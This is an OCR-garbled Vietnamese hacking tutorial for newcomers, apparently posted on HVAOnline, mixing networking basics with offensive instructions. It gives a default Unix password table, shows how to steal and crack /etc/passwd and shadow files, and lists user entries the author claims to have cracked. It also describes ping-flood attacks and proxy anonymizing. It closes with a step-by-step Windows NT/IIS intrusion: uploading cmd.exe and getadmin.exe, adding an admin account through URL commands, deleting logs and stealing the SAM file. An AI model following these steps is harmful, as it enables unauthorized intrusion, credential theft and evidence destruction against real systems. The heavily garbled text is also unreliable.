Tran trong cam on nguoi da cung cap cho UDS cudn sach nay.



Nhirng hi€u biét co ban nhat dé tré thanh Hacker - Phan
1

Nhiéu ban Newbie c6 hoi tdi “ Hack 12 nhw thé nao ? Lam sao dé hack ?” Nhung céc
ban di quén méat mot diéu 1a cac ban cin phal c6 kién thirc mdt cach tong quat,
hiéu cc thuit ngir ma nhirng nguoi ranh vé mang hay sir dung . Riéng t6i thi chwa
that giéi bao nhiéu nhung qua nghién ciru tdi ciing d tong hop dwoc mot sb kién
thirc co ban , mudn chia sé cho tit ca cac ban, nham cung cac ban hoc hoi .

T6i s& khong chiu trach nhiém néu cac ban ding n6 dé qudy pha nguoi khac . Cac ban co
thé copy hodc post trong cac trang Web khac nhung hay dién tién tac gia ¢ dudi bai , ton
trong bai viét ndy ciing chinh 1a t6n trong t6i va cong stc ciia toi dong thoi cling ton
trong chinh ban than céc ban . Trong nay t61 cling ¢6 cheén thém mot so6 cach hack , crack
va vi du cin ban , cac ban co thé tmg dung thir va nghién ctru doc n6 dé hiéu thém , roi
khi bat gap mot tir ma cac ban khong h1eu thi hdy doc bai nay dé biét , trong nay t6i c6 st
dung mét sb ¥ ciia bai viét ma t6i thdy rat hay tir trang Web cua HVA , va cac trang Web
khac ma toi da ting ghé thiam . Xin cam on nhiing tac gia di viét nhitng bai 4y . Bay gio
1a vAn dé chinh .

1.) Ta cin nhirng gi dé bat dau?

C6 thé nhiéu ban khong ddng ¥ vai t6i nhung cach tot nhat dé thuc tap 1a cac ban hay
ding HPH Window 9X , oI dén céc cai khac manh hon d6 13 Linux hodc Unix , dudl
day 14 nhimng cai ban can c6 :

+ Mot cai OS ( ¢6 thé 1a DOS , Window 9X , Linux , Unit ....)

+ Mot cai trang Web t6t ( HVA chang han hi*hi' greenbiggrin.gif greenbiggrin.gif)

+ Mot bo trinh duyét mang tt (1a Nescape , IE , nhung tot nhat c6 18 1a Gozzila )

+ Mot cong cu chat t6t ( mIRC ,Yahoo Mass .....)

+ Telnet ('hodc nhirng cai twong tu nhu nmap )

+ Cai quan trong nhat ma bat cr ai mudn tro thanh mdt hacker 1a déu phal c6 mot chit
kién thirc vé lap trinh ( C , C++, Visual Basic , Pert .....)

2 .) Thé nao 1a mjt dia chi IP ?

_ bia chi IP dugc chia thanh 4 ) gi6i han tir 0 - 255. Moi s6 duoc luu bai 1 byte - > P
c6 kicks thudc 1a 4byte, duoc chia thanh cac 16p dia chi. C6 3 16p 1a A, B, va C. Néu ¢
16p A, ta s& ¢ thé c¢6 16 triéu dia chi, & 16p B ¢6 65536 dia chi. Vi du: O 16p B véi
132.25,chung ta c6 tit ca cac dia chi tir 132.25.0.0 dén 132.25.255.255. Phan 16n cac dia
chi & 16p A 114 s¢ hitu ctia cac cong ty hay ctia to chirc. Mot ISP thudng s& hitu mot vai
dia chi 16p B hodc C. Vi du: Néu dia chi IP ctia ban 1 132.25.23.24 thi ban c6 thé xéac
dinh ISP cua ban la ai. (c6 IP 1a 132.25.x.)

_IP 1a tir viét tat ciia Internet Protocol, trén Internet thi dia chi IP ctia mdI nguoi 1a duy
nhat va no sé& dal dién cho chinh nguol do, dia chi IP dugc sir dung bdi cac may tinh khac
nhau dé nhan biét cdc may tinh két ndi gitta chung. Pay 1a 1i do tai sao ban lai bi IRC
cam, va la cach nguoi ta tim ra [P cua ban.



Dja chi IP c¢6 thé d& dang phat hién ra, ngudi ta c6 thé 1y duoc qua cac cach sau :

+ ban ludt qua mot trang web, IP ctia ban bi ghi lai

+ trén IRC, bat ki ai cling co thé c6 IP cua ban

+ trén ICQ, moi ngudi ¢ thé biét IP cua ban, tham chi ban chon *"do not show ip’" nguoi
ta van lay duoc nd

+ néu ban két ndi véi mot ai d6, ho c6 thé gb “'systat —n *, va biét dugc ai dang két ndi
dén ho

+néu ai d6 gui cho ban mdt email voi mdt doan ma java tom IP, ho cling c6 thé tom
duoc IP cua ban

( Tai li¢u cua HVA )

3.) Lam thé nao dé biét dwoc dia chi IP ciia minh ?

Run danh 1énh “winipcfg” .[1_ Trong Window : vao Start
_ Trong mIRC : két n6I dén may chu sau do danh Iénh *“/dns
_ Thong qua mdt so trang Web c6 hién thi IP .

4 .) IP Spoofing la gi ?

_ Mot s6 IP ¢6 muyc dich dé xac dinh mot thiét bi duy nhét trén thé gi6i. Vi vy trén mang
mot may chu co thé cho phép mot thiét bj khac trao doi dir liéu qua lai ma khong can
kiém tra may chu.

Tuy nhién c6 thé thay ddi IP cta ban, nghia 1a ban c6 thé goi mot thong tin gia dén mot
méy khac ma may d6 sé tin ring thong tin nhan duoc xuat phat tir mot may nao d6 (tat
nhién 1 khong phai may ciia ban). Ban c6 thé vugt qua may chii ma khong can phai co
quyén diéu khién may chu d6. Diéu tré ngai 1a & chd nhimng thong tin phan hdi tir may
chu s& duoc goi dén thiét bi c6 IP ma ching ta dd gia mao. Vi vay c6 thé ban s& khong c6
dugc su phan hoi nhitng thong tin ma minh mong mudn. C6 1& diéu duy nhat ma spoof IP
c6 hi¢u qua 1a khi ban can vuot qua firewall, trom account va can dau thong tin ca nhan!
( Tai ligu cua HVA )

5.) Trojan / worm / virus / logicbomb la cai gi ?

_ Trojan : Noi cho d& hiéu thi day 1a chuong trinh di€p vién dugc cai vao may cua nguol
khéc dé an cip nhiing tai li¢u trén may do6 gul vé cho cha nhan cua n6, Cai ma no an cap
c6 thé 1a mat khau , accourt , hay cookie .......... tuy theo ¥ muén ciia ngudl cai no .

virus : Noi cho d& hiéu thi day 1a chuong trinh v61 nhitng ma dic biét duoc cai (‘hoac
lay lan tir may khac ) 1én may cua nan nhén va thyc hién nhitng yéu cau ctia mi d6 , da sd
virut dugc su dung dé pha hoal dir li¢u hodc pha hoal may tinh .

_worm : Day la chuong trinh ddc 1ap c6 thé ty nhan ban ban than né va lay lan khap bén
trong mang .Ciing giéng nhu Virut , nd ciing c6 thé pha hoal dit liéu , hodc n6 c6 thé pha
hoal bén trong mang , nhiéu khi con 1am down ca mang d6 .

_ logicbomb : La chuong trinh giri mét luc nhiéu goi dir liéu cho cting mot dia chi , lam
ngap lut hé thong tat nghén duong truyén ( trén server ) hodc dung lam cong cu dé
“khung bd” d6I phuong ( bom Mail ) ;) .



6.)PGPlagi?

_ PGP la viét tat cua tu “Pretty Good Privacy” , day 1a cong cu sir dung sy ma hoa chia
khoa cong cong d€ bao v¢ nhiing h6 so Email va dir liéu , 1a dang mé hoa an toan cao st
dung phan mém cho MS DOS , Unix , VAX/VMS va cho nhiing dang khac .

7.) Proxylagi?

_Proxy cung cip cho ngudi sir dung truy xudt internet v6i nhitng host don. Nhirng proxy
server phuc vu nhitng nghi thirc dat biét hodc mot tdp nhitng nghi thue thyce thi trén
dual_homed host hodc basion host. Nhiing chuong trinh client cia nguoi str dung s€ qua
trung gian proxy server thay thé cho server that sy ma nguoi s dung can giao tiép. Proxy
server xac dinh nhimg yéu cau tir client va quyet dinh dap ng hay khong dap img, néu
yéu cau dugc dap ng, proxy server s& két ndi v6i server that thay cho client va t1ep tuc
chuyén tlep dén nhimng yéu ciu tur chentden server, ciing nhu dap ung nhing y€u cau cua
server dén client. Vi vay proxy server gidng cau ndi trung gian gilta server va client .

_ Proxy cho user truy xuat dich vu trén internet theo nghia truc tiép. Véi dual host homed
can phai login vao host trudc khi sir dung dich vu nao trén internet. Diéu nay thudng
khong tién 191, va mot ) nguoi tré nén that vong khi ho ¢6 cam gidc thong qua firewall,
v6i proxy no giai quyét duge van dé nay. T4t nhién nd con ¢ nhimng giao thirc méi
nhung ndi chung no ciing kha tién loi cho user. Boi vi proxy cho phép user truy xuét
nhitng dich vy trén internet tir hé théng c4 nhan cua ho, vi vy né khong cho phép packet
di truc tiép giira hé thong sir dung va internet. dudng di 1a giang tiép thong qua dual
homed host hoic thong qua su két hop giita bastion host va screening rounter.

( Bai viét ctia Z3RON3 — tai liéu cia HVA )
8.) Unix la gi ?

Unix 1a mot hé diéu hanh ( glong Window ) .N¢ hién 1a hé diéu hanh manh nhét , va
than thiét v6i cac Hacker nhat . Néu ban da tré thanh mot hacker that su thi HPH nay
khong thé thiéu ddi v6I ban . N6 duoc sir dung hd tro cho l4p trinh ngén ngir C .

9.) Telnet 1a gi ?

Telnet 1 mot chuong trinh cho phép ta két noI dén may khac thong qua cong (port) .
MoI may tinh hoic may chu ( server ) déu c6 cong , sau ddy 1a mot s6 cong thong dung :
+ Port 21: FTP
+ Port 23: Telnet
+ Port 25: SMTP (Mail)

+ Port 37: Time
+ Port 43: Whois
_ Vi du : ban c6 thé gol Telnet dé két n6I dén mail.virgin.net trén port 25 .

10 .) Lam thé nao dé biét minh di Telnet dén h¢ théng Unix ? ,
_ Ok, t6i s€ nodi cho ban biét [am sao mot hé thong Unix cé thé chao hdl ban khi ban két



ndi téi nd . Pau tién , khi ban go1 Unix , thong thuong noé sé xuét hién mot dau nhéc : «
Login:”, (tuy nhién, chi v6i nhu vay thi cling chua chic chan day la Unix dugc ngoal
trir chiing xuét hién thong bao & trudce chir “ log in :” nhu vi du : Welcome to SHUnix.
Please login ....)

Bay gio ta dang & tal diu nhic “log in” , ban can phal nhap vao mdt account hop 1& . Mot
account thong thuong gém c6 8 dac tinh hoac hon , sau khi ban nhép account vao , ban sé
thiy c6 mot mat khau , ban hay thir nhap Default Password thir theo bang sau :

Account----------==--=-mmommmm- Default Password

RoOt---==mmmm e Root
Sys§--mmmmmmmmmm e ---- Sys / System / Bin
Bin----ee e -Sys / Bin
Mountfsy-----==--===-=mm oo M ountfsys
NUUC---===m e Anon
ANoN-----====m Anon
User-------==-- oo -User
Games--------====== = m G ames
Install- e L Install
Demo--------—== e Demo
GQuest-----mmm e Guest

11 .) shell account la cai gi ?

_ Mot shell account cho phép ban st dung mdy tinh ¢ nha ban nhu thiét bi dau cudl (
terminal ) ma véI n6 ban cé thé danh 1énh dén mot may tinh dang chay Unix , “Shell” 1a
chuong trinh ¢6 nhiém vu dich nhitng ky tu ctia ban gtri dén rol dua vao thuc hién 1énh
cua chuong trinh Unix . V&I mdt shell account chinh xé4c ban c6 thé str dung dugc mot
tram 1am viéc manh hon nhiéu so v&1 cai ma ban c6 thé tudng tuong dén duoc .

Ban c6 thé 1iy dugc “shell account” mién phi tal trang Web http:/www.freeshell.com/
tuy nhién ban s& khong str dung duoc “telnet” cho dén khi ban tra tién cho né .

12 .) Lam cach nao deé ban cé thé crack Unix account passwords ?

Rét don gian , tuy nhién cach ma t6i n6i vol cac ban ¢ day “lac hau” rol , céc ban c6 thé
crack dugc ching néu cac ban may mén , con khong thi cac ban doc dé tham khao .

Dau tién ban hiy dang nhap vao hé thong c6 str dung Unix nhu mot khach hang hoac
mot nguol khach ghe tham , néu may min ban s& ldy dugc mat khau duoc cat diu trong
nhitng hé théng chuan nhu :

/etc/passwd

mdi hang trong mot hd so passwd co6 mot tai khoan khac nhau , né giéng nhu hang nay :



userid:password:userid#: groupid#: GECOS field:home dir:shell

trong do :

+ userid = the user id name : tén dang nhap : c6 thé 1a mot tén hodc mot s6 .

+ password : mat mi . Dung dé lam gi han cac ban ciing biét rdl .

+ userid# : 1a mot sé duy nhit dyoc thong bao cho nguol dang ky khi ho dang ky mél &
lan dau tién .

+ groupid# : tuong tu nhu userid# , nhung n6 dugc dung cho nhitng ngudl dang ¢ trong
nhom nao d6 ( nhu nhém Hunter Buq cia HVA chang han )

+ GECOS FIELD : day la noi chira thong tin cho nguol str dung , trong d6 ¢6 ho tén day
du , s6 dién thoai , dia chi v.v.... . Pay ciing 1a ngudn tbt dé ta d& dang crack mot mat
khau .

+ home dir : 1& thu muc ghi lal hoat dong ctia ngudi khach khi ho ghé tham ( gidng nhu
muc History trong IE vay )

+ Shell : day 1a tén cta shell ma né tu dong bat dau khi ta login .

_ Hay lay file password , 4y file text d3 ma hod vé , sau d6 ban ding chuong trinh
““CrackerJack " hodc “*John the Ripper'" dé crack .

_ Céc ban thay ciing kha d& phal khong ? Sai bét , khong d& dang va may man dé ban c6
thé crack dugc vi hau hét bay gio ho cat rat ki , hiy doc tiép ban sé& thiy kho khan chd
nao .

13 .) shadowed password la cai gi ?

_ Mot shadowed password dugc biét dén la trong file Unix passwd , khi ban nhap mot
mat khau , thi nguol khac chi thdy dugc trinh don ciia né ( nhu ky hiéu “ X ” hodc “ * )
. Céi nay thong bao cho ban biét 1a file passwd da duoc ct gilt & noi khéc , noi ma mot
ngudl str dung binh thuong khong thé dén duoc . Khong 18 ta danh bo tay , di nhién 1a
d61 voT mot hacker thi khong ruii , ta khong dén duoc truc tiép file shadowed password
thi ta hay tim file sao luu cua n6 , do 1a file Unshadowed .

Nhiing file ndy trén h¢ thong ciia Unix khong ¢ dinh , ban hay thir voT lan lugt nhimg
duodng dan sau :

CODE

AIX 3 /etc/security/passwd !

or /tcb/auth/files/ /

A/UX 3.0s /tcb/files/auth/?/ *
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x

HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x

Linux 1.1 /etc/shadow *

OSF/1 /etc/passwd].dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/ /



SunOS4.1+c2 /etc/security/passwd.adjunct =##username
SunOS 5.0 /etc/shadow

maps/tables/whatever >

System V Release 4.0 /etc/shadow x

System V Release 4.2 /etc/security/* database

Ultrix 4 /etc/auth[.dir|.pag] *

UNICOS /etc/udb =20

Trudc ddu “/ ”dau tién cia mot hang 14 tén ciia hé thong twong tng , hiy can cir vao hé
thong that su ban mudn 14y rol 1an theo dudng din phia sau dau “/”dau tién .

Va cudl cing 1a nhitng account passwd ma t6i timg crack duoc , c6 thé bay gio no da hét
hiéu lyc 1ol :

CODE

arif:x:1569:1000:Nguyen Anh Chau:/udd/arif:/bin/ksh
arigo:x:1570:1000:Ryan Randolph:/udd/arigo:/bin/ksh
aristo:x:1573:1000:To Minh Phuong:/udd/aristo:/bin/ksh
armando:x:1577:1000: Armando Huis:/udd/armando:/bin/ksh
arn:x:1582:1000: Arn mett:/udd/arn:/bin/ksh
arne:x:1583:1000:Pham Quoc Tuan:/udd/arne:/bin/ksh
aroon:x:1585:1000:Aroon Thakral:/udd/aroon:/bin/ksh
arozine:x:1586:1000: Mogielnicki:/udd/arozine:/bin/bash
arranw:x:1588:1000: Arran Whitaker:/udd/arranw:/bin/ksh

bé bao dam su bi mat nén pass cua ho té1 xoa di va dé vao do la ky hi¢u “ x 7, cac ban
hady tim hiéu thong tin c6 dugce tir chiing xem
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Vitual port ( cong &0 ) 1a 1 s6 tw nhién dwoc géi & trong TCP(Tranmission Control
Protocol) va UDP(User Diagram Protocol) header. Nhw mgi nguoi da biét, Windows
6 thé chay nhiéu chwong trinh 1 lic, mdi chwong trinh nay cé 1 cong riéng ding dé
truyén va nhan dir liéu.

Vidu 1 may c6 dia chi IP 1a 127.0.0.1 chay WebServer, FTP_Server, POP3 server, etc,
nhting dich vy nay déu duoc chay trén 1 IP address 1a 127.0.0.1, khi mdt goi tin duoc guri
dén 1am thé nao may tinh ctia ching ta phan biét dugc gbi tin ndy di vao dich vy nao
WebServer hay FTP server hay SM! TP? Chinh vi thé Port xuét hién. Mdi dich vu ¢6 1 sb



port mac dinh, vi du FTP c6 port médc dinh 1a 21, web service c6 port mac dinh 1a 80,
POP3 1a 110, SMTP 1a 25 van van....

Ngudi quan tri mang co thé thay dbi s6 port mic dinh nay, néu ban ko biét sb port trén
mot may chi, ban ko thé két ndi vao dich vu d6 duge. Chic ban da ting nghe néi dén
PORT MAPPING nhung c¢6 1& chua biét n6 1a gi va chiic ning thé nao. Port mapping
thyuc ra don gian chi la qua trinh chuyén ddi sb port mac dinh ciia mdt dich vy nao do dén
1 s6 khac. Vi du Port mic dinh cua WebServer la 80, nhung thinh thoang c6 1& ban van
thiy http:/www.xxx.com:8080/ , 8080 ¢ day chinh Ia s port ciia host xxx nhung da dugc
nguoi quan tri cua host nay “"map”" tur 80 thanh 8080.

( Tai liéu cua HVA )
15.)DNSlagi?

_ DNS 1a viét tat cia Domain Name System. Mot may chit DNS doi két ndi ¢ cong s6 53,
c6 nghia 12 néu ban mudn két ndi vao may chu d6, ban phai két ndi d¢én cong sb 53. May
chu chay DNS chuyén hostname bang cac chit cai thanh cac chit sé twong (mg va nguoc
lai. Vi du: 127.0.0.1 -- > localhost va localhost--- > 127.0.0.1 .

( Tai liéu cua HVA )
16 . ) Doi diéu vé Wingate :

WinGate la mot chuong trinh don gian cho phép ban chia cac két ndi ra. Thi du: ban co
thé chia s¢ 1 modem voi 2 hodc nhiéu may . WinGate dung véi nhiéu proxy khéac nhau c6
thé che gidu ban .

Lam sao dé Wingate c6 thé che diu ban ? Hay 1am theo t6i : Ban hiy telnet trén cong
23 trén may chu chay WinGate telnet proxy va ban s€ co dau nhac WinGate > . Tai dau
nhic ndy ban danh vao tén server, cing mot khoang trong va cong ban mudn két ndi vao.
VD:

CODE
telnet wingate.net
WinGate > victim.com 23

ta telnet dén cong 23 vi ddy 1a cong mic dinh khi ban cai Wingate . lac nay IP trén may
ma victim chdp dugce cua ta la IP cia may chu chira Wingate proxy do .

Lam sao dé tim Wingate ?
+ Néu ban mudn tim IP WinGates tinh (IP khong 601) thi dén yahoo hay mot trang tim
kiém cable modem. Tim kiém cable modems vi nhiéu nguoi ding cable modems ¢
WinGate dé ho c6 thé chia sé duong truyén rong ctia né cable modems cho nhiing may
khac trong ciing mot nha . Hodc ban c6 thé dung Port hay Domain scanners va scan Port
1080 .
+ Pé tim IP dong (IP thay d6i mdi 1an user két ndi vao internet) ciia WinGates ban cé thé



ding Domscan hoic cac chuong trinh quét khac . Néu dung Domscan ban hiy nhap
khoang IP bét ky vao box dau tién va s 23 vao box thir 2 . Khi di c6 két qua , ban hay
thir 1an luot telnet dén cac dia chi IP tim dyoc ( d3 hudéng din ¢ trén ), néu né xuit hién
dau “Wingate > ” thi ban da tim dung may dang st dung Wingate ol 6 .

+ Theo kinh nghiém cua t6i thi ban hdy down wingatescanner vé ma sai , né c6 rat nhiéu
trén mang .

17 .) Péi diéu vé Traceroute :

_ Traceroute 1a mgt chuong trinh cho phép ban xac dinh dugc duong di cua cac goi
packets tir may ban dén h¢ thong dich trén mang Internet.
_ ban hay xem VD sau :

CODE
C:\windows > tracert 203.94.12.54

Tracing route to 203.94.12.54 over a maximum of 30 hops

1 abc.netzero.com (232.61.41.251) 2 ms 1 ms 1 ms

2 xyz.Netzero.com (232.61.41.0) 5 ms 5 ms 5 ms

3232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms

4 we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms

5 isp.net.ny (196.23.0.0) 562 ms 596 ms 600 ms

6 196.23.0.25 (196.23.0.25) 1195 ms1204 ms

7 backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms

8 asianet.com (202.12.32.10) 1210 ms1239 ms1211 ms

9 south.asinet.com (202.10.10.10) 1069 ms1087 ms1122 ms

10 backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061 ms

11 newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms
12 newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms
13 mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms

T6i can biét duong di tir may t6i dén mot host trén mang Internet cé dia chi ip 1a
203.94.12.54. T6i can phai tracert dén no! Nhu ban thiy & trén, cac goi packets tir may
t6i mudn dén dugc 203.94.12.54 phai di qua 13 hops(mic xich) trén mang. Day 1a duong
di cua cac goi packets .

_ Ban hiy xem VD tiép theo :

CODE
host2 # traceroute xyz.com

traceroute to xyz.com (202.xx.12.34), 30 hops max, 40 byte packets
1 isp.net (202.xy.34.12) 20ms 10ms 10ms
2 xyz.com (202.xx.12.34) 130ms 130ms 130ms



+ Dong déu tién cho biét hostname va dja chi IP ctia hé thong dich. Dong nay con cho
chung ta biét thém gia tri TTL<=30 va kich thudc ctia datagram 1a 40 bytes(20-bytes IP
Header + 8-bytes UDP Header + 12-bytes user data).

+ Dong thtr 2 cho biét router du tién nhan duoc datagram la 202.xy.34.12, gié tri cia
TTL khi goi dén router nay 1a 1. Router ndy s& goi trd lai cho chuong trinh traceroute
mot ICMP message error * Time Exceeded"". Traceroute s& goi tiép mot datagram dén hé
théng dich.

+ Dong thir 3, xyz.com(202.xx.12.34) nhan duoc datagram c6 TTL=I(router thir nhat da
giam mot trude d6 - TTL=2-1=1). Tuy nhién, xyz.com khong phai 1a mot router, n6 s€
gai trd lai cho traceroute mot ICMP error message " Port Unreachable™ . Khi nhan dugc
ICMP message nay, traceroute sé& biét dugc di dén duoc hé thdng dich xyz.com va két
thic nhiém vu tai day.

+ Trong trudng hop router khong tra 101 sau 5 gidy, traceroute s& in ra mot déu sao

" (khong biét) va tiép tuc goi datagram khac dén host dich!

_Chuy:

Trong windows: tracert hostname

Trong unix: traceroute hostname

( Tai liéu cua viethacker.net )
18 .) Ping va cach sir dung :

_ Ping 1a 1 khai niém rat don gian tuy nhién rat hitu ich cho viéc chan doan mang. Tiéu
sir ctia tir “'ping’ nhu sau: Ping 1a tiéng dong vang ra khi 1 tau ngdm mudn biét c6 1 vat
thé khac & gan minh hay ko, néu c6 1 vat thé nao d6 gan tau ngam tiéng séng am nay s&
va vao vat thé d6 va tiéng vang lai s& 1a “'pong’* vay thi tau ngim d6 s& biét 1a c6 gi gan
minh.

_Trén Internet, khai niém Ping ciing rat giéng véi tiéu st cia né nhu da dé cap o trén.
Lénh Ping giri mot goi ICMP (Internet Control Message Protocol) dén host, néu host d6
“'pong"" lai c6 nghia 1a host d6 ton tai (hodc 1a co thé véi t6i dwoc). Ping ciing c¢6 thé gitip
chung ta biét duoc luong thoi gian mot goi tin (data packet) di tir may tinh cia minh dén
1 host nao do.

_Ping that d& dang, chi can mé MS-DOS, va gd “ping dja_chi_ip"*, mic dinh sé& ping 4
1an, nhung ban ciing c6 thé gb

CODE
“'ping ip.address -t
Céch nay s& lam may ping mai. Dé thay dbi kich thude ping lam nhu sau:

CODE
“ping -1 (size) dia_chi_ip



Cai ping lam 13 giri mot goi tin dén mot may tinh, sau d6 xem xem mét bao 1au goi tin roi
xem xem sau bao lau goi tin dé quay trd lai, cach nay xac dinh dugc tdc d6 cua két ndi,
va thoi gian can dé mot goi tin di va quay tr¢ lai va chia bén (got la “trip time™"). Ping
cling c6 thé dugc dung dé lam cham di hodc do v& hé thdng bang lut ping. Windows 98
treo sau mgt phut lut ping (Bo dém cua két ndi bi tran — c6 qua nhiéu két ndi, nén
Windows quyét dinh cho n6 di nghi mot chit). Mot cudc tan cong “ping flood” s& chiém
rat nhiéu bang thong ciia ban, va ban phai c6 bang théng 16n hon di phuong ( trir khi ddi
phuong 1a mét may chay Windows 98 va ban c6 mot modem trung binh, bang cach do
ban s€ ha guc d6i phuong sau xap xi mot phat lut ping). Lut Ping khong hi¢u qua lam d6i
v0i nhimg d6i phuong manh hon mot chut. trir khi ban c6 nhiéu duong va ban kiém soat
mot s6 lwong trong ddi cac may chu cung ping ma téng bang thong lon hon di phuong.
Chu y: option —t cua DOS khong gay ra lut ping, n6 chi ping muc tiéu mét cach lién tuc,
vo1 nhiing khoang ngit quang gitta hai lan ping lién tiép. Trong tat ca cac hé Unix hodc
Linux, ban c6 thé dung ping -f dé gay ra lut thuc su. Thuc té 1a phai ping -f néu ban dung
mot ban twong thich POSIX (POSIX - Portable Operating System Interface dya trén
uniX), néu khong no s€ khong phai la mét ban Unix/Linux thuce sy, boi vay néu ban ding
mot hé diéu hanh ma né ty cho no 1a Unix hay Linux, né s& ¢6 tham sé -f.

( Tai lieu cua HVA va viethacker.net )
19 .) Ky thuat xam nhap Window NT tir mang Internet :
_ Pay 12 bai hoc hack dau tién ma t6i thuc hanh khi bt dau nghién ctru vé hack , bay gio
to1 s€ bay lai cho cac ban . ban s€ can phal c6 mdét s6 thol gian dé€ thuc hién dugce n6 vi nd
tuy dé nhung kho . Ta s& bat dau :

DPau tién ban can tim mot server chay IIS :

" Tiép dén ban vao DOS va danh " FTP . VD :

c:\Ftp http://www.dodgyinc.com/

(trang nay khi t61 thuc hanh thi van con lam duogc , bay gio khong biét ho da fix chwa ,
néu ban nao co trang nao khac thi hay post 1én cho mol nguol cung lam nhe )
Néu connect thanh cong , ban sé& thiy mot s6 dong tuong tu nhur thé nay :

CODE

Connected to http://www.dodgyinc.com./

220 Vdodgy Microsoft FTP Service (Version 3.0).
User (www.dodgyinc.com:(none)):

Cai ma ta thay & trén co chira nhiing thong tin rat quan trong , no cho ta biét tén Netbios
clia may tinh 1a “ Vdodgy > . Tir diéu nay ban c6 thé suy dién ra tén ma duoc su dung cho
NT dé cho phép ta co thé khai thac , mic dinh ma dich vu FTP géan cho no néu no chua
doi tén s& 1a “IUSR_VDODGY” . Hiy nh¢ ldy vi no s& c6 ich cho ta . Nhap
“‘anonymous” trong user n6 s xuét hién dong sau :



CODE
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:

Bay gio passwd sé& 1a bat ctr gi ma ta chua biét , tuy nhién , ban hiy thtr danh vao passwd
la “anonymous” . Néu n6 sai , ban hay log in lal thiét bi FTP , ban hay nh¢ 1a khi ta quay
laI 1an nay thi khong st dung cach mao danh nita ( anonymous ) ma st dung “ Guest” ,
thir lai passwd véi “guest” xem thé nio .

Bay gio ban hdy danh lénh trong DOS :

CODE
Cd/c

Va sé& nhin thay két qua néu nhu ban da xdm nhap thanh cong , biy gio ban hiy nhanh
chong tim thu myc “cgi-bin” . Néu nhu ban may man , ban s& tim duoc dé dang vi thong
thudng hé théng quan 1y da dit “cgi-bin' vao noi ma ta vira xam nhép dé cho cac ngudl
quan 1y ho d& dang diéu khién mang hon . thu muc cgi-bin c6 thé chira cac chuong trinh
ma ban c6 thé loi dung no dé chay tur trinh duy¢t Web cua ban . Ta hay bt dau “quay”
nao greenbiggrin.gif greenbiggrin.gif .

_ Pau tién , ban hay chuyén t& thu muc cgi-bin va su dung 1énh “Binary” ( co thé cac ban
khong can dung 1énh nay ) , sau d6 ban danh tiép 1énh “put cmd.exe” . Tiép theo 1a ban
can c6 file hack dé cai vao thu muc nay , hiy tim trén mang dé 13y 2 file quan trong nhét
d6 13 ‘getadmin.exe’ va ‘gasys.dll' . Download chung xudng , mot khi ban da cé n6 hiy
cai vao trong thu muc cgi-bin . Ok , coi nhu mol viéc di xong , ban hiy dong cira s6
DOS .

Bay gio ban hdy danh dia chi sau Ién trinh duyét cta ban :

http://www.dodgyinc.com/cgi-bin/getadmin.exe? IUSR_VDODGY

Sau vai gidy ban s€ c6 dugc cau tra 101 nhu ¢ dudl day :

CODE

CGI Error

The specified CGI application misbehaved by not returning a complete set of HTTP
headers. The headers it did return are:

Congratulations , now account [IUSR_VDODGY have administrator rights!

Thé 1a ban d3 mao danh admin dé xam nhép hé théng , viéc can thiét bay gio 1a ban hay
tu tao cho minh mgt account , hay danh dong sau trén IE :

http://www.dodgyinc.com/cgi- bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%2
Ohacker%?20toilahacker%20/add




dong 1énh trén s€ tao cho ban mdt account login véi user : anhdenday va passwd :
toilahackerBay gio ban hay la cho user nay c6 account cua admin , ban chi can danh 1én
IE 1énh :

http://www.dodgyinc.com/cgi-bin/getadmin.exe? anhdenday

Vay la xong riii d6 , ban hiy disconnect va dén start menu - > find rdi search computer
‘www.dodgyinc.com’. Khi tim thay , ban vao explore , explore NT s€ md ra ban hay
nhép user va passwd dé md n6 ( cua toi 1a user : anhdenday va passwd : toilahacker ) .

C6 mdt van dé 1a khi ban xam nhap hé thong nay thi s& bi ghi lai , do d6 dé xoa dau vét
ban hiy vao ‘Winnt\system32\logfiles' md file log d6 rol xoa nhing thong tin lién quan
dén ban , rdI save chiing . Néu ban mudn ldy mot thong bao gi vé viéc chia s& sy xam
nhap thi ban hiy thay doi ngay thang trén mdy tinh vol URL sau :

http://www.dodgyinc.com/cgi-bin/cmd.exe?/c%20 date%2030/04/03

xong 10l ban hay xoa file "getadmin.exe’, va ‘gasys.dIl' tir “cgi-bin" . Myc dich khi ta
xam nhap hé thong nay 1a “chom” pass ctia admin dé lan sau xdm nhap mot cach hop 1¢,
do d6 ban hay tim file SAM ( chira pass ctia admin va member ) trong hé thong rolI ding
chwong trinh “I0pht crack” dé crack pass ( Huéng dan vé cach st dung “l0pht crack v
3.02” toi da post 1én rdi ,cac ban hiy ty nghién ciru nhé ) . Day 1a link :
http://vnhacker.org/forum/?act=ST&{=6&t=11566 &s=

Khi crack xong cac ban di c6 user va pass ctia admin 1ol , biy gio hiy xo04 account cua
user ( ctia t6i 1a “anhdenday” ) di cho an toan . Ban da c6 thé 1am gi trong hé thong 14 tuy
thich , nhung céc ban dirmg xod hét tai liéu cta ho nhé , tdi cho ho lam .

Ban cam thay thé ndo , rac réi 1am phai khong . Luc t6i thir hack cach nay , toi da may
mo mét ca 4 gid' , néu nhu ban da quen thi 1an thir 2 ban s& mat it thol gian hon .

O phén 3 toi s& dé cap dén HPH Linux , dén cach ngét mat khau bao vé cua mot Web site
, va lam thé nao dé hack mot trang web don gian nhat .v.v...

Hét phan 2

Tac gia: Anhdenday - HVAOnline.net

Nhirng hi€u biét co ban nhat dé tré thanh Hacker - Phan
3 [12/7/2004 10:33:00 AM]

20.) Cookie la gi ?

Cookie 1a nhirng phan dir liéu nhé cé cau tric dwoc chia sé giira web site va browser
ciia ngwoi dung. cookies dwgec luwu trir dwéi nhirng file dir li€u nhé dang text (size



duwéi 4k). Chiing dwgc cic site tao ra dé luu trit/truy tim/nhan biét cac thong tin vé
